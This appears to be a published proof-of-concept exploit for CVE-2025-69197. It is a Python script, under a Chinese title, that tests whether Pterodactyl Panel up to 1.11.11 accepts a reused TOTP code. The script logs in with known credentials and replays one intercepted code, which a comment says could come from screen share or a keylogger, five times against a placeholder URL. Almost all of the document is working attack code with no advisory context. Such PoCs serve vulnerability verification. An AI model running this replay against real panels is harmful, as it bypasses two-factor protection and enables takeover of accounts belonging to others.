CVE-2025-69197 Pterodactyl面板TOTP验证码重放漏洞

# CVE-2025-69197 PoC - TOTP Token Replay Attack # Affected: Pterodactyl Panel <= 1.11.11 import requests import time TARGET_URL = "https://pterodactyl-panel.example.com" USERNAME = "attacker_known_username" PASSWORD = "attacker_known_password" INTERCEPTED_TOTP = "123456" # TOTP code captured via screen share, keylogger, etc. def login_with_totp(username, password, totp_code, session): """Attempt to login with username, password and TOTP code.""" # Step 1: Initial authentication with credentials login_url = f"{TARGET_URL}/auth/login" login_data = { "email": username, "password": password } response = session.post(login_url, data=login_data, allow_redirects=False) if response.status_code in [302, 200]: # Step 2: Submit TOTP code totp_url = f"{TARGET_URL}/auth/2fa" totp_data = { "code": totp_code } totp_response = session.post(totp_url, data=totp_data, allow_redirects=False) return totp_response.status_code == 302 or "token" in totp_response.cookies return False def main(): session = requests.Session() print("[*] CVE-2025-69197 - Pterodactyl TOTP Replay Attack PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Username: {USERNAME}") print(f"[*] TOTP Code: {INTERCEPTED_TOTP}") print("[*] Attempting multiple login attempts with same TOTP...") success_count = 0 for i in range(5): # Try 5 times within validity window if login_with_totp(USERNAME, PASSWORD, INTERCEPTED_TOTP, session): success_count += 1 print(f"[+] Attempt {i+1}: SUCCESS - Login accepted with reused TOTP") else: print(f"[-] Attempt {i+1}: FAILED") time.sleep(5) # Wait 5 seconds between attempts print(f"\n[*] Result: {success_count}/5 attempts succeeded") if success_count > 1: print("[!] VULNERABLE: System accepts reused TOTP codes within validity window") else: print("[+] PATCHED: System correctly rejects reused TOTP codes") if __name__ == "__main__": main()